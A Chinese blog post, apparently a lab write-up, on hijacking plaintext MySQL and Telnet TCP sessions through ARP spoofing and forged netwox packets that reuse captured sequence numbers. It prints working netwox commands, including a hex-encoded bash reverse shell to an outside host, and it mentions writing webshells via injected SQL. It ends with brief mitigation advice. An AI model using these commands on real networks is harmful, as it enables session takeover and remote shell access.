中间人攻击实现tcp劫持mysql、telnet等明文传输协议会话

上个月的一则清理挖矿通告引发了我的思考，外部通过流量监测到某个ip的数据库下载恶意代码。

为什么外部流量监测能获取执行的payload？

mysql协议通过明文传输。

经过排查，该主机上并没有恶意sql的执行记录。怀疑外部任意攻击的payload流量被捕获到，至于有没有成功未经验证就直接通告。

由于我本身喜欢探究问题的本质。就通过wireshark抓包观察了MySQL的流量，发现除了密码通过加密传输外，其余命令和结果均是明文传输。

mysql协议除了命令本身外，没有任何身份校验的字段。（通过类比http协议，依赖于cookie校验身份）。既然协议本身不进行身份校验，那肯定依赖于tcp协议。

验证猜想？

做了一个简单的实验，用代码构造mysql协议发包。

报文的顺序错乱。所以多线程使用同一个mysql连接的时候，也会出现这个报错，原理一样的。那么同理如果能获取tcp报文中seq和ack的值，是不是就可以伪造发包，劫持会话了呢？

劫持原理

部分应用层协议，协议本身并不保证传输过程中的安全性，仅依赖于tcp协议层面交换seq 和 ack验证会话身份的合法性。

tcp劫持成功的五要素

由于MySQL、Telnet等这类协议在通信过程中使用tcp长连接，所以会话未断开之前客户端的源端口和目的端口都是固定的。

之前误以为伪造报文的srcPort可以随便指定，导致伪造不成功，服务端返回RST。

踩坑记录

在伪造报文中需要注意以下几个参数。

• 源端口srcPort 不变
• 目的端口dstPort 不变
• seq 等于上一次报文的ack
• ack 等于上一次报文的 next seq（wireshark自动计算）

wireshark 关闭 Relative sequence numbers

wireshark默认会计算相对seq number，而我们伪造的报文中需要使用真实的seq和ack，在实验前请先关闭。ps：我在这里浪费了很多时间！

实验环境

• VMware虚拟机环境
• Windows7 靶机 192.168.25.132
• Kali Linux 攻击机 192.168.25.133
• 外网 Telnet、MySQL 服务器
• wireshark、netwox

arp欺骗获取通信报文

在kali上使用arpspoof对靶机进行arp欺骗。

arp欺骗成功。

补充：在局域网环境中需要arp欺骗才能获得其他主机的通信报文，但是使用VMware虚拟机本身都是共用的一个网卡，直接就能获取到所有流量。

安装nexwox发送伪造报文

kali

apt update && apt install -y netwox

其他 Linux 系统

wget https://zgao.top/download/netw-ib-ox-ag-5.39.0.tgz
tar xvf netw-ib-ox-ag-5.39.0.tgz
cd netw-ib-ox-ag-5.39.0/
./installunix.sh

Windows 下载上面的链接后解压运行exe即可。

MySQL会话劫持实现过程

靶机上使用命令行连接mysql服务端。

同时在Kali上也打开wireshark获取靶机的通信流量。

要进行报文伪造，则必须获取最后一次通信报文tcp协议中的几个关键参数。

伪造报文必须和最后一次通信报文的这四个参数保持一致。

在kali上发送伪造报文

netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.25.132 --ip4-dst 43.129.188.117 --tcp-src 49163 --tcp-dst 3306 --tcp-seqnum 1599421786 --tcp-acknum 1757314041 --tcp-ack --tcp-psh --tcp-window 1024 --tcp-data "0f0000000373686f7720646174616261736573"

其中–tcp-data部分为执行的mysql的查询语句，需要字符串转16进制。

同理，也可以执行sql语句通过数据库写webshell，利用方式很多样。只需要把替换上面的–tcp-data即可。

Telnet会话劫持实现过程

telnet劫持的方式和mysql基本一致。靶机使用telnet连接服务端。

在Kali上通过wireshark过滤telnet协议流量。找到最后一次通信的流量。

服务器nc监听端口

Kali劫持并执行反弹shell命令

netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.25.132 --ip4-dst 43.132.152.185 --tcp-src 49165 --tcp-dst 23 --tcp-seqnum 2772226064 --tcp-acknum 237070680 --tcp-ack --tcp-psh --tcp-window 1024 --tcp-data "62617368202d69203e26202f6465762f7463702f7a67616f2e746f702f3132333420303e26310d0a"

将命令进行16进制编码后一定加上0d0a，表示\r\n换行。这样telnet服务端才会执行命令！

重点

62617368202d69203e26202f6465762f7463702f7a67616f2e746f702f3132333420303e26310d0a

服务端反弹shell成功。

补充：获取telnet明文密码

通过中间人获取telnet明文密码已经是非常古老的方法，因此现在的服务器基本都换用ssh协议。

不过我们这里的重点并不是嗅探telent密码。

发散思考

既然mysql、telnet这类明文协议可以通过中间人攻击实现tcp会话劫持。同理应用层依赖于tcp来校验通信合法性的其他明文协议也可以被劫持攻击。不过仅限于局域网内进行中间人攻击后获取通信报文中的seq和ack。

那么还有哪些途径可以获取到通信流量呢？

运营商。以前http明文流量经常被插入广告，也是因为运营商获取http报文后进行注入劫持。

如何避免中间人攻击被tcp劫持？

应用层协议本身进行流量加密，而不是仅依赖于tcp协议进行会话身份校验。

赞赏

微信赞赏支付宝赞赏